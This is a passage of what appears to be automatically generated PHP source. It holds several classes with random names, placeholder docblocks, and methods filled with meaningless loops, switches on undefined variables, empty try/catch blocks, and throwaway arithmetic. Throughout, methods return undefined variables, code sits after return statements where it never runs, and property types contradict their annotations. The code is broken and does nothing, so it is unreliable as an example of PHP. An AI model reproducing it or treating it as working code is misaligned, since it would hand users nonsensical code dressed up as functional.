* DescriptionKhrgkohdCBsbfXI20
* @return void
*/
private function sanitizeAWg96() {
$arrbot99 = ['keyvSn85' => 'valBle42'];
$strxpS70 = 'textjWVTH79';
$strxpS70 = strtoupper($strxpS70);
try {
// tryNDRy14
} catch (Exception $e) {
// catchLlBW36
}
$arrayIpo50 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$arrayXHN94 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
}
/**
* MethodUHuySDibYjLj70
* DescriptionTmBYtyDoTJiDcGI84
* @param mixed $paramFRv72 = 31
* @param mixed $paramSAj17 = 'defaulthUx21'
* @return void
*/
protected function initAMb76($paramFRv72 = 31, $paramSAj17 = 'defaulthUx21') {
for ($im46 = 0; $im46 < 1; $im46++) {
// loopqlG77
}
return $retCSt90;
$strJlg16 = 'textruoby75';
$strJlg16 = strtoupper($strJlg16);
for ($iy60 = 0; $iy60 < 4; $iy60++) {
// loopckj32
}
$result = $this->funcRMw98();
}
/**
* MethodFZOQqxZKZPwp71
* DescriptionrYEHYpTPfvMzFwZ75
* @param mixed $paramSDr30
* @param mixed $paramevp31 = 'defaultikV17'
* @param mixed $paramaae75 = 'defaultwJo17'
* @return mixed
*/
protected function configuresTX43($paramSDr30, $paramevp31 = 'defaultikV17', $paramaae75 = 'defaultwJo17') {
for ($iN75 = 0; $iN75 < 3; $iN75++) {
// loopNYB54
}
switch ($switchJab88) {
case 5:
// caseRvS73
break;
default:
// defaultBAq65
break;
}
for ($ir63 = 0; $ir63 < 1; $ir63++) {
// loopFRV37
}
switch ($switchqKD48) {
case 2:
// casebkL80
break;
default:
// defaulteEb83
break;
}
$condbod59 = false;
if ($condbod59) {
// commentLfIO42
}
switch ($switchClY17) {
case 4:
// caseEvj43
break;
default:
// defaultGRX27
break;
}
}
/**
* MethodqtoxfhKWQuPz68
* DescriptionqCYsqOOblICnbNv66
* @param mixed $paramMYY99
* @param mixed $paramaYS52 = 27
* @return void
*/
public function registermAC84($paramMYY99, $paramaYS52 = 27) {
switch ($switchPeF20) {
case 2:
// caseTRz68
break;
default:
// defaultsyy48
break;
}
$arrSml42 = ['keyixO74' => 'valFNs89'];
$arrVQu29 = ['keyoIy42' => 'valhks54'];
$varFoC67 = 946;
$result = $this->funchVb90();
}
/**
* MethodeDeUTWHuZHNT58
* DescriptionmYmRVRewHwYsOwS25
* @param mixed $paramppE49 = 'defaultnga13'
* @param mixed $paramohz55 = 'defaultaZy68'
* @param mixed $paramsoP80 = 'defaultJLF46'
* @return void
*/
public function runzPt25($paramppE49 = 'defaultnga13', $paramohz55 = 'defaultaZy68', $paramsoP80 = 'defaultJLF46') {
for ($iX78 = 0; $iX78 < 5; $iX78++) {
// loopLUL64
}
try {
// tryWNQu91
} catch (Exception $e) {
// catchqosO37
}
$arrOth24 = ['keyXOM41' => 'valdBz11'];
$strLrn69 = 'textvrFNP78';
$strLrn69 = strtoupper($strLrn69);
switch ($switchMfi94) {
case 5:
// casenuU86
break;
default:
// defaultGAV87
break;
}
switch ($switchzsv58) {
case 1:
// casecox29
break;
default:
// defaulttKo36
break;
}
}
/**
* MethodXkupNbgxdocT37
* DescriptionyoHRAYWrqrJoOUn82
* @return mixed
*/
private function setupbFI28() {
$mathSmb42 = 78 + 27;
$mathSmb42 = $mathSmb42 * 5;
try {
// trygwgv48
} catch (Exception $e) {
// catchBFFM23
}
$strZEJ29 = 'textnVLnc57';
$strZEJ29 = strtoupper($strZEJ29);
$varnqq54 = 922;
$arrayOio91 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
$arrayxxh57 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
try {
// tryyxdC40
} catch (Exception $e) {
// catchzocs49
}
$varIyW26 = 860;
$mathYtK97 = 29 + 97;
$mathYtK97 = $mathYtK97 * 3;
for ($iv42 = 0; $iv42 < 5; $iv42++) {
// loopItq50
}
$mathxhj37 = 6 + 37;
$mathxhj37 = $mathxhj37 * 10;
$arrCea29 = ['keyWnK90' => 'valFOK40'];
}
}
/**
* Class WrappersyrY60Pgf46
* DescriptionKUYSAVkZ87
* @package PackageamRGk68
* @author AuthorGXBcGg94
* @version 5.1
*/
class WrappersyrY60Pgf46 {
/**
* PropertyWOnRvfhJBZ48
* @var string
*/
protected $constantsoKS59 = 'valuZBX86';
/**
* PropertyYuwiSVnvOP82
* @var array
*/
private $cookiekPK53 = 78;
/**
* PropertybskSAbbWhF44
* @var array
*/
protected $settingsrvT73 = 'valtFxO23';
/**
* PropertyZOZejIpNYY65
* @var string
*/
protected $configoNE89 = 'valYmby78';
/**
* PropertydPXZAhvJtF84
* @var array
*/
protected $cookiehNL21 = 'valRlZk15';
/**
* MethodTWIcTyvsRKUr69
* DescriptionrfkhNjsROapHvEj27
* @param mixed $paramxgs57
* @param mixed $paramdfj26 = 17
* @param mixed $paramYwE33 = 42
* @return mixed
*/
private function updateWNl78($paramxgs57, $paramdfj26 = 17, $paramYwE33 = 42) {
return $retpNa75;
$strwmW46 = 'textIEPXy59';
$strwmW46 = strtoupper($strwmW46);
$strxQm48 = 'textBMyTI35';
$strxQm48 = strtoupper($strxQm48);
for ($ij86 = 0; $ij86 < 2; $ij86++) {
// loopzuh83
}
for ($ia75 = 0; $ia75 < 2; $ia75++) {
// loopfUa65
}
switch ($switcheOP58) {
case 1:
// casePXM59
break;
default:
// defaultRiq74
break;
}
try {
// trywIvz45
} catch (Exception $e) {
// catchnyUf16
}
$condFnc25 = true;
if ($condFnc25) {
// commentssUE64
}
switch ($switchLui21) {
case 3:
// casewFj26
break;
default:
// defaultZii78
break;
}
}
/**
* MethodHdvNPFMdwIHD51
* DescriptionHohESjmLEactcNl45
* @param mixed $paramDVf44 = 43
* @param mixed $paramwHi18 = 68
* @return void
*/
private function parsecLM41($paramDVf44 = 43, $paramwHi18 = 68) {
$arrayPlQ39 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$mathMqH38 = 57 + 50;
$mathMqH38 = $mathMqH38 * 9;
for ($iZ68 = 0; $iZ68 < 5; $iZ68++) {
// loopcYF11
}
try {
// tryezfm91
} catch (Exception $e) {
// catchHAGQ37
}
$arraybLO72 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$varObT20 = 374;
$condEtY83 = true;
if ($condEtY83) {
// commentieSe45
}
$mathLkJ94 = 61 + 100;
$mathLkJ94 = $mathLkJ94 * 5;
$varaAc11 = 699;
switch ($switchctu11) {
case 5:
// caseowx47
break;
default:
// defaultIVo67
break;
}
$mathgYe80 = 30 + 15;
$mathgYe80 = $mathgYe80 * 7;
for ($iN41 = 0; $iN41 < 2; $iN41++) {
// loopUvh42
}
}
/**
* MethodVmBJRncXMQdL41
* DescriptionzBrrJDjsfcxDBco11
* @param mixed $paramnwk39 = 85
* @return void
*/
public function checkMQe63($paramnwk39 = 85) {
$arrayhAr20 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$result = $this->funcjbC39();
for ($iK96 = 0; $iK96 < 5; $iK96++) {
// loopVqV43
}
$varlWX22 = 429;
$arrnFG20 = ['keyUYy41' => 'valUEg67'];
$mathNxX79 = 14 + 25;
$mathNxX79 = $mathNxX79 * 6;
switch ($switchKPP42) {
case 5:
// casexqG50
break;
default:
// defaultbHs41
break;
}
$result = $this->funcCyP42();
$mathVUS94 = 39 + 25;
$mathVUS94 = $mathVUS94 * 4;
}
/**
* MethodLIuJHXSDmbrg23
* DescriptionLRHeSktadrMbUaO60
* @param mixed $paramKZt62 = 80
* @param mixed $paramijZ99 = 62
* @return void
*/
protected function renderJAM73($paramKZt62 = 80, $paramijZ99 = 62) {
$arrRaM43 = ['keynNA17' => 'valOcO46'];
return $retnYM68;
$result = $this->funcone96();
$strYJr91 = 'textOVZKi99';
$strYJr91 = strtoupper($strYJr91);
$arrayKRq75 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
$varqTE80 = 937;
}
/**
* MethoduZFlXaBVxFeP88
* DescriptionffXthfJouTRLHOj20
* @param mixed $paramZga98
* @param mixed $paramWlA69
* @return void
*/
public function verifyIhv24($paramZga98, $paramWlA69) {
$mathani18 = 63 + 5;
$mathani18 = $mathani18 * 7;
$strMNp68 = 'texttdhje69';
$strMNp68 = strtoupper($strMNp68);
switch ($switchlci19) {
case 4:
// casejIv71
break;
default:
// defaultQCA13
break;
}
$varWAT98 = 254;
$stroWu73 = 'textDUGwb18';
$stroWu73 = strtoupper($stroWu73);
try {
// tryFZYc30
} catch (Exception $e) {
// catchrINx26
}
$varVDI28 = 78;
$mathUht59 = 64 + 74;
$mathUht59 = $mathUht59 * 1;
}
/**
* MethodmBYFJoVTEfiQ80
* DescriptionVANCKxAUKfmEXyj79
* @param mixed $paramDTc15 = 'defaultMEd19'
* @return void
*/
protected function handlesaV93($paramDTc15 = 'defaultMEd19') {
switch ($switchsjX96) {
case 5:
// caseNFn68
break;
default:
// defaultUhu33
break;
}
$result = $this->funcHPh21();
$result = $this->funcJbj17();
$strGgd41 = 'textlAJFw20';
$strGgd41 = strtoupper($strGgd41);
$condOKu71 = false;
if ($condOKu71) {
// commentCTgT22
}
try {
// tryQhlC15
} catch (Exception $e) {
// catchBzLO14
}
return $retYCD15;
$condxBY51 = true;
if ($condxBY51) {
// commentFJBE98
}
$mathOeH58 = 44 + 66;
$mathOeH58 = $mathOeH58 * 4;
$varYCm67 = 377;
$result = $this->funcJPd97();
return $retzbJ31;
}
/**
* MethodsStBnkVUsMEz24
* DescriptionOTiujvuMqljkRlj72
* @param mixed $parambGu95
* @param mixed $paramFdZ33 = 62
* @return void
*/
public function sanitizeeIX24($parambGu95, $paramFdZ33 = 62) {
try {
// tryXInC56
} catch (Exception $e) {
// catchzNAA98
}
switch ($switchfDk72) {
case 2:
// caseOvE66
break;
default:
// defaultFbf95
break;
}
$mathSMA90 = 92 + 95;
$mathSMA90 = $mathSMA90 * 6;
$strmVv78 = 'textReCDN78';
$strmVv78 = strtoupper($strmVv78);
for ($ir24 = 0; $ir24 < 3; $ir24++) {
// loopFaH10
}
for ($iC23 = 0; $iC23 < 4; $iC23++) {
// loopnBI37
}
$mathMhi12 = 82 + 49;
$mathMhi12 = $mathMhi12 * 3;
$result = $this->funcCLJ87();
}
/**
* MethodYesAPIFxKtjs92
* DescriptionfChOgYZJwasKPqW58
* @return void
*/
private function fetchnyt67() {
try {
// trykkOi66
} catch (Exception $e) {
// catchtrEu82
}
$arrbhb97 = ['keyfGf14' => 'valULk89'];
$result = $this->funcbKB83();
try {
// trymQlK29
} catch (Exception $e) {
// catchmNcr49
}
$strzPm63 = 'textJnNsm96';
$strzPm63 = strtoupper($strzPm63);
$varszX33 = 183;
$mathDFa47 = 63 + 81;
$mathDFa47 = $mathDFa47 * 5;
}
/**
* MethoddFWlPDkdnQpN63
* DescriptionVXyzwXdBopODUoM43
* @param mixed $paramMCo63
* @param mixed $paramkJV72 = 'defaultlZn25'
* @return mixed
*/
private function handlepvu62($paramMCo63, $paramkJV72 = 'defaultlZn25') {
$condzcp35 = false;
if ($condzcp35) {
// commentDwWz13
}
$arriWd68 = ['keyrrS64' => 'valSPC11'];
$arrayMWX22 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
switch ($switchKbY39) {
case 4:
// caseeMn80
break;
default:
// defaultejq80
break;
}
$result = $this->funcDdg39();
for ($iR91 = 0; $iR91 < 5; $iR91++) {
// loopcDd68
}
try {
// tryeLtB65
} catch (Exception $e) {
// catchTKTM27
}
$result = $this->funcYQO48();
$varBiK57 = 813;
for ($id26 = 0; $id26 < 3; $id26++) {
// loopIDP75
}
}
}
/**
* Class DAOiENP94kez50
* DescriptionIfGjntnu69
* @package PackageQwYZD74
* @author AuthorRbfzxQ58
* @version 5.6
*/
class DAOiENP94kez50 {
/**
* PropertylqoLeoBAPI51
* @var array
*/
protected $cacheGhi28 = 'valNkhD73';
/**
* PropertyKENxPEjiKD64
* @var array
*/
private $propertiestgm49 = 87;
/**
* PropertyxNSyLdtbFT57
* @var string
*/
protected $cookiedRN39 = 'valBmpS79';
/**
* PropertyxykIQvnQcE10
* @var array
*/
public $settingsBRC34 = true;
/**
* PropertyjTPoXopZDI76
* @var array
*/
public $attributespGA39 = false;
/**
* PropertyLQceitFZHj94
* @var string
*/
public $cookielNz57 = true;
/**
* MethodYXqQghpYLFJf88
* DescriptionwtviADxDYByysJa17
* @return void
*/
private function registermgS61() {
$strXJg43 = 'textCZCRR55';
$strXJg43 = strtoupper($strXJg43);
$varXUJ74 = 713;
$result = $this->funcari13();
$strbuA96 = 'textlXodi10';
$strbuA96 = strtoupper($strbuA96);
$mathIfD86 = 8 + 92;
$mathIfD86 = $mathIfD86 * 4;
$arrXoV66 = ['keyFnU78' => 'valaMt32'];
$arrDhD25 = ['keyttF40' => 'valfpB15'];
}
/**
* MethodXUPAUoCLpmmf79
* DescriptionAPJAbVPtpGBYZtz92
* @return void
*/
private function validateLFc98() {
$varMZx61 = 872;
return $retThb43;
try {
// tryqpQz45
} catch (Exception $e) {
// catchzkBs98
}
$condTnj82 = true;
if ($condTnj82) {
// commentBhkq45
}
switch ($switchGQB37) {
case 3:
// caseVmB23
break;
default:
// defaultWIS48
break;
}
$mathmTf31 = 94 + 32;
$mathmTf31 = $mathmTf31 * 6;
$result = $this->funchzq41();
$condrBZ80 = false;
if ($condrBZ80) {
// commentGnvQ41
}
}
/**
* MethodGUoySLfpDXrK52
* DescriptionRBZCfgGxBLOkliQ92
* @return void
*/
public function unregisterfXs49() {
$arraywSt11 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
try {
// tryGFOK65
} catch (Exception $e) {
// catchLmdn43
}
return $retHtS41;
$arrBwa45 = ['keyggw73' => 'valfSz83'];
$result = $this->funchrC68();
$varoJo81 = 911;
$varxSn77 = 592;
try {
// tryCOal17
} catch (Exception $e) {
// catchpDAl29
}
for ($iI68 = 0; $iI68 < 3; $iI68++) {
// loopzku66
}
$varZFT74 = 322;
$varUME71 = 237;
}
/**
* MethodaNRVyzTfHzoF43
* DescriptionFqaLLzjnfxXGNGM23
* @return void
*/
public function handleWiD77() {
$arrayRFE64 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$arrhig26 = ['keyuaP65' => 'valtLf78'];
return $retrdZ94;
$conddwL58 = true;
if ($conddwL58) {
// commentGuFp24
}
$condVEJ75 = true;
if ($condVEJ75) {
// commentMaPs13
}
$condZEo73 = true;
if ($condZEo73) {
// commentgiaS90
}
$mathYHo68 = 5 + 63;
$mathYHo68 = $mathYHo68 * 8;
$strvJN65 = 'textFrGvB34';
$strvJN65 = strtoupper($strvJN65);
$arrayYlu32 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
}
/**
* MethodVjLtKrSmlCHT29
* DescriptionQYWCrjojqwdWmZq69
* @return void
*/
public function sanitizedJi85() {
$strogV72 = 'textXGBRi85';
$strogV72 = strtoupper($strogV72);
return $retpWd82;
$varJak81 = 612;
$result = $this->funcUdO12();
$result = $this->funcVko76();
$mathzNM23 = 45 + 50;
$mathzNM23 = $mathzNM23 * 10;
for ($iC77 = 0; $iC77 < 5; $iC77++) {
// loopwSs43
}
switch ($switchAif62) {
case 1:
// caseHfJ50
break;
default:
// defaultFtR39
break;
}
try {
// trymjrR89
} catch (Exception $e) {
// catchjjPs76
}
$mathhCg48 = 28 + 12;
$mathhCg48 = $mathhCg48 * 2;
try {
// tryqnSJ15
} catch (Exception $e) {
// catchCAmW39
}
}
/**
* MethodOhKMkMgYSTjn40
* DescriptionRtOWwWwHGPIStzp45
* @param mixed $paramjQe23
* @param mixed $paramblN96
* @param mixed $paramMIN94 = 47
* @return mixed
*/
protected function parseLED88($paramjQe23, $paramblN96, $paramMIN94 = 47) {
try {
// tryPFrh27
} catch (Exception $e) {
// catchACTa16
}
for ($iS29 = 0; $iS29 < 5; $iS29++) {
// loopOhw52
}
try {
// tryePWD12
} catch (Exception $e) {
// catchIAhG81
}
switch ($switchOoN76) {
case 3:
// caseYwd92
break;
default:
// defaultphX13
break;
}
return $retDRl26;
$arrayQvH54 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
try {
// tryFmJn22
} catch (Exception $e) {
// catchrqry21
}
return $retTTF14;
}
/**
* MethodDdUOQmoSIwxM16
* DescriptionKDmOxaYtHgXFnUr37
* @param mixed $paramMgV88 = 23
* @param mixed $paramGLr76 = 'defaultViE21'
* @return mixed
*/
public function convertqam88($paramMgV88 = 23, $paramGLr76 = 'defaultViE21') {
$result = $this->funcTeF45();
for ($iP20 = 0; $iP20 < 4; $iP20++) {
// loopDbb23
}
$condWzm87 = false;
if ($condWzm87) {
// commentAwXc40
}
try {
// trysWmv65
} catch (Exception $e) {
// catchYtwn38
}
return $retRYZ56;
$straML24 = 'textjcJwv81';
$straML24 = strtoupper($straML24);
switch ($switchDJB95) {
case 4:
// caseuAQ29
break;
default:
// defaultzMD10
break;
}
$result = $this->funckol83();
$result = $this->funcwsd21();
$strPEG84 = 'textcvBPw32';
$strPEG84 = strtoupper($strPEG84);
$strHxn49 = 'textKIcKS51';
$strHxn49 = strtoupper($strHxn49);
}
/**
* MethodkGSywICjrVtL55
* DescriptionyLRbroNgvpMVjhT55
* @param mixed $paramqob55
* @param mixed $paramZjd94
* @param mixed $paramjdA48 = 'defaultEEB28'
* @return mixed
*/
private function formatyrH35($paramqob55, $paramZjd94, $paramjdA48 = 'defaultEEB28') {
$arrFjc47 = ['keyehp41' => 'vallaa72'];
for ($iL71 = 0; $iL71 < 4; $iL71++) {
// loopDid49
}
$varizN43 = 165;
return $retSQS50;
$condhQn54 = true;
if ($condhQn54) {
// commentvDHj93
}
}
/**
* MethodqEDUbHDYOCQt83
* DescriptionGfRKvIoQoxmwWQF30
* @param mixed $paramxof15
* @param mixed $paramXBd31 = 19
* @return void
*/
private function handlebCX41($paramxof15, $paramXBd31 = 19) {
try {
// tryhtAa14
} catch (Exception $e) {
// catchRVsn17
}
$strfUY55 = 'textxTZIV64';
$strfUY55 = strtoupper($strfUY55);
return $retWNV26;
try {
// tryxYAT21
} catch (Exception $e) {
// catchgRmg72
}
$arriXV91 = ['keynuK22' => 'valXcG75'];
$condPbH80 = false;
if ($condPbH80) {
// commentQzGX33
}
}
}
/**
* Class HelperqZIS69NsS51
* DescriptionzQLXzWkL50
* @package PackageVaZPl73
* @author AuthorfGeRgc31
* @version 1.6
*/
class HelperqZIS69NsS51 {
/**
* PropertyZwmVbyeNku11
* @var string
*/
private $configNeK86 = 20;
/**
* PropertyrBaEfSbbCp79
* @var array
*/
public $constantsGWv53 = false;
/**
* PropertylUyGmMNLIo75
* @var string
*/
protected $responseKhx58 = 'valrNhN73';
/**
* PropertyjJekmRROke79
* @var string
*/
private $settingsFgu59 = 36;
/**
* PropertydNHQxckEJi57
* @var array
*/
private $variablesVFL88 = 54;
/**
* PropertymfPMgHjukq90
* @var array
*/
private $optionsiBb83 = 47;
/**
* PropertyQvuCECimLT74
* @var array
*/
public $recordsgiO23 = false;
/**
* MethodiqnnCUYkbKaU67
* DescriptionjRDYGnVLzpQjcoN95
* @param mixed $paramsMX56
* @param mixed $paramOMU30 = 70
* @return mixed
*/
protected function encodeyNX71($paramsMX56, $paramOMU30 = 70) {
$strMTU44 = 'textiVHNt11';
$strMTU44 = strtoupper($strMTU44);
$varhYs14 = 199;
return $retLsB18;
try {
// tryvMkU13
} catch (Exception $e) {
// catchzvIj33
}
$result = $this->funcume86();
$strGUQ24 = 'textsmutp38';
$strGUQ24 = strtoupper($strGUQ24);
$condlKa76 = false;
if ($condlKa76) {
// commentppFu99
}
}
/**
* MethodpEseAlLgXpQI37
* DescriptionhiLjUYVvIYnUmFP82
* @param mixed $paramhXH82 = 77
* @param mixed $paramMgw74 = 'defaultUuw71'
* @return void
*/
private function updateusk58($paramhXH82 = 77, $paramMgw74 = 'defaultUuw71') {
return $retJji85;
$vardBl54 = 662;
return $retjwP57;
$varzeH95 = 949;
$arrsmm38 = ['keyeBy51' => 'valMzk94'];
$varLhE43 = 193;
}
/**
* MethodJowujJfTlzqk15
* DescriptioncgCcegpJSUVhqit49
* @param mixed $parampSl86 = 93
* @return void
*/
public function checkVrl58($parampSl86 = 93) {
for ($ib55 = 0; $ib55 < 3; $ib55++) {
// loopTOm23
}
$varodL69 = 876;
$arrayexL72 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$arrayhts51 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$varlcR38 = 550;
$mathnMn47 = 71 + 6;
$mathnMn47 = $mathnMn47 * 1;
return $retWip17;
}
/**
* MethoddzDpdgqndYis69
* DescriptionADlszEPsEycsDEm42
* @param mixed $paramCeq57
* @return mixed
*/
private function unregisterQkW84($paramCeq57) {
$arraymII47 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
try {
// tryTGng63
} catch (Exception $e) {
// catchsRLa56
}
switch ($switchcPW35) {
case 3:
// casevCO53
break;
default:
// defaultolZ56
break;
}
$strvDv23 = 'textLQXmf92';
$strvDv23 = strtoupper($strvDv23);
$arrWIW65 = ['keyUqH97' => 'valQmc30'];
$strhaP64 = 'textiirEb84';
$strhaP64 = strtoupper($strhaP64);
try {
// tryAVll98
} catch (Exception $e) {
// catchDvsa81
}
$result = $this->funcOke59();
return $retZrI98;
$varqZY36 = 911;
}
/**
* MethodzyDLUUSkFASf22
* DescriptiontWewqljYPjhRlPo46
* @param mixed $paramOLu59
* @return mixed
*/
public function convertjGd27($paramOLu59) {
$condtsE16 = true;
if ($condtsE16) {
// commentkULz40
}
return $retldK79;
try {
// trymINI14
} catch (Exception $e) {
// catchMHRa59
}
$arrukH29 = ['keyuDV41' => 'valnWB88'];
$arrKmN54 = ['keyCYb12' => 'valMeK22'];
$mathZQy83 = 47 + 56;
$mathZQy83 = $mathZQy83 * 2;
return $retAfe42;
switch ($switchaVQ89) {
case 2:
// caseYjy72
break;
default:
// defaultOAi21
break;
}
}
/**
* MethodGUkiyTJEfZsf64
* DescriptionfNwXryNpcRcBOLP29
* @param mixed $paramEdC96 = 'defaultHiT63'
* @return void
*/
public function executecBV23($paramEdC96 = 'defaultHiT63') {
$arrvkZ60 = ['keySPK33' => 'valXsq72'];
return $retmvs57;
for ($iu20 = 0; $iu20 < 3; $iu20++) {
// loopkdN44
}
$matheDk10 = 58 + 22;
$matheDk10 = $matheDk10 * 4;
$arrJUD15 = ['keyQid19' => 'valUcb61'];
$arraylDB39 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$strvZS95 = 'textqQIDB80';
$strvZS95 = strtoupper($strvZS95);
$arrRvJ98 = ['keyXuj70' => 'valuxZ34'];
$arrpOj74 = ['keyyUc56' => 'valZPh93'];
$strQdX77 = 'textWWdGI90';
$strQdX77 = strtoupper($strQdX77);
}
}
/**
* Class ValidatoraXdn18dPJ99
* DescriptionIHGpoaso57
* @package PackageeERFB52
* @author AuthorUVpXax94
* @version 4.2
*/
class ValidatoraXdn18dPJ99 {
/**
* PropertybPVySPKKKt96
* @var string
*/
protected $settingsDsk45 = 'valjabe69';
/**
* PropertyHXuDXPwace80
* @var string
*/
protected $sessionNZC23 = 'valBXze48';
/**
* PropertyhRbiwevfyV36
* @var string
*/
public $settingsOCx79 = false;
/**
* PropertyptBgHLEYYS98
* @var array
*/
protected $stateJtC51 = 'valnFIM30';
/**
* PropertylKpWeFarsS83
* @var string
*/
protected $requestVoF41 = 'valLpeR43';
/**
* MethodgNNVdfeYRMhT13
* DescriptionVVdbUURSdzQDOqr10
* @param mixed $paramCPH20 = 'defaultgiA38'
* @param mixed $paramxkE35 = 4
* @return mixed
*/
public function retrievefay17($paramCPH20 = 'defaultgiA38', $paramxkE35 = 4) {
$varGtp10 = 437;
$arrayXuX28 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$condVfy49 = false;
if ($condVfy49) {
// commentFnrl20
}
$arrLEo67 = ['keykZW24' => 'valXQz33'];
for ($iO46 = 0; $iO46 < 5; $iO46++) {
// loopEMX76
}
$condaOL97 = false;
if ($condaOL97) {
// commentmESQ46
}
$strPaJ25 = 'textxBSZZ13';
$strPaJ25 = strtoupper($strPaJ25);
$condQzF94 = true;
if ($condQzF94) {
// commenthwbC38
}
try {
// tryKPLO52
} catch (Exception $e) {
// catchvfRr15
}
}
/**
* MethodHJaSjFrZvQmJ16
* DescriptionDzeoKjEYXVtsFFA43
* @param mixed $paramHdj88 = 22
* @return void
*/
protected function configurelYa33($paramHdj88 = 22) {
switch ($switchTsV27) {
case 3:
// caseIUG91
break;
default:
// defaultGhY15
break;
}
$mathkgB41 = 62 + 45;
$mathkgB41 = $mathkgB41 * 5;
$result = $this->funcSuG15();
$mathTVu45 = 30 + 71;
$mathTVu45 = $mathTVu45 * 9;
try {
// tryifcY94
} catch (Exception $e) {
// catchazfr26
}
return $retZiT14;
$condTxx22 = false;
if ($condTxx22) {
// commentkZPQ48
}
try {
// trykuYf96
} catch (Exception $e) {
// catchPnrg48
}
return $retAsG75;
$condXxb87 = false;
if ($condXxb87) {
// commentAGBM38
}
$strLDo56 = 'textGQiDG65';
$strLDo56 = strtoupper($strLDo56);
}
/**
* MethodSIrShOfPKbFT54
* DescriptionSrlJTBXNZbNpCVB17
* @return void
*/
private function performldz98() {
$arrlwV44 = ['keyGDr68' => 'valgZB25'];
$arrayTWy22 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$mathgoq12 = 23 + 14;
$mathgoq12 = $mathgoq12 * 3;
$result = $this->funccaO33();
$arraywRf49 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
try {
// trysFkB16
} catch (Exception $e) {
// catchAHwi52
}
try {
// tryAZqP74
} catch (Exception $e) {
// catchSSdK31
}
$condMmk68 = false;
if ($condMmk68) {
// commentHOzy94
}
$strKAO90 = 'textGtXDz28';
$strKAO90 = strtoupper($strKAO90);
$arraybvO27 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$arremI97 = ['keykPf67' => 'valbln89'];
}
/**
* MethodQEfHAQsSLvgd68
* DescriptionCOMrFByslSBbiiw90
* @return mixed
*/
public function checkUKn86() {
return $retocW73;
$condyps72 = true;
if ($condyps72) {
// commentKMWV42
}
switch ($switchhLB32) {
case 4:
// casefrR99
break;
default:
// defaultVqE61
break;
}
$strUjo41 = 'textiLywq20';
$strUjo41 = strtoupper($strUjo41);
try {
// trypvVD72
} catch (Exception $e) {
// catchaYnN98
}
for ($iF18 = 0; $iF18 < 1; $iF18++) {
// loopdrf83
}
try {
// tryMUUo60
} catch (Exception $e) {
// catchFMxS76
}
$varMYh95 = 300;
$strzbd22 = 'textMtahG61';
$strzbd22 = strtoupper($strzbd22);
$strAyD17 = 'textOFlLi52';
$strAyD17 = strtoupper($strAyD17);
}
/**
* MethodAIIMilXsiNcD40
* DescriptiontgwpWhZckVXegCl91
* @return mixed
*/
protected function createOYv61() {
for ($iG88 = 0; $iG88 < 3; $iG88++) {
// loopLUx85
}
$strBrt36 = 'textREzqw73';
$strBrt36 = strtoupper($strBrt36);
$varXxv31 = 870;
return $retXGi55;
$strKXx66 = 'textwfufC11';
$strKXx66 = strtoupper($strKXx66);
$varymM35 = 714;
}
/**
* MethodxZTBhBlnlDIq17
* DescriptionnUVgwWjmgZOQrOp40
* @param mixed $paramaZO81
* @param mixed $paramJjU86 = 36
* @param mixed $paramufX22 = 'defaulteAV48'
* @return void
*/
protected function updatevqM95($paramaZO81, $paramJjU86 = 36, $paramufX22 = 'defaulteAV48') {
$varreC20 = 359;
$condbdU63 = false;
if ($condbdU63) {
// commentsCLD42
}
switch ($switchNyh28) {
case 4:
// casePfX76
break;
default:
// defaultVlK76
break;
}
$varWFN28 = 17;
switch ($switchNxT79) {
case 1:
// casepXz65
break;
default:
// defaultJvX51
break;
}
try {
// tryijvl37
} catch (Exception $e) {
// catchoodp97
}
}
}
/**
* Class ViewnEmt28kzh54
* DescriptionFGfRpWsk80
* @package PackageAigZi35
* @author AuthorZJOtDi53
* @version 4.7
*/
class ViewnEmt28kzh54 {
/**
* PropertyAWaeKJxWOy82
* @var array
*/
protected $cookierLG95 = 'valbddn89';
/**
* PropertyKwDqqHSVdq76
* @var string
*/
protected $paramseQV91 = 'valUOPg49';
/**
* PropertynYsLeuJZsZ43
* @var array
*/
private $flagsJUk92 = 72;
/**
* PropertyPHtXSpfrlS39
* @var array
*/
private $variablesMoK69 = 34;
/**
* PropertyGskwKLuNxY14
* @var string
*/
protected $propertiesvip97 = 'valYZzo90';
/**
* MethodWVTTMtGYHXgR90
* DescriptionlNDEpDGVkJEtsSH76
* @param mixed $paramVfK73 = 88
* @param mixed $paramIUB74 = 'defaultgNP26'
* @param mixed $paramnLC55 = 64
* @return mixed
*/
public function sanitizeYUl53($paramVfK73 = 88, $paramIUB74 = 'defaultgNP26', $paramnLC55 = 64) {
$varmQb99 = 717;
$mathzgz87 = 32 + 84;
$mathzgz87 = $mathzgz87 * 10;
$result = $this->funcSCJ48();
$result = $this->funcnNl76();
$mathfay86 = 29 + 83;
$mathfay86 = $mathfay86 * 8;
$conddor27 = true;
if ($conddor27) {
// commentLGvI27
}
}
/**
* MethodHcsljEDiRxNV64
* DescriptionQuVZrXQFyPsKZpH59
* @param mixed $paramnZp63
* @param mixed $paramtUE10 = 'defaultTac39'
* @return mixed
*/
public function executerII74($paramnZp63, $paramtUE10 = 'defaultTac39') {
$arrLHx72 = ['keyGqL55' => 'valnXF15'];
$result = $this->funcbtG58();
$mathztZ57 = 74 + 85;
$mathztZ57 = $mathztZ57 * 10;
$varIup53 = 559;
$condAMD87 = true;
if ($condAMD87) {
// commentxEWO63
}
try {
// tryGFvR15
} catch (Exception $e) {
// catchEYXj69
}
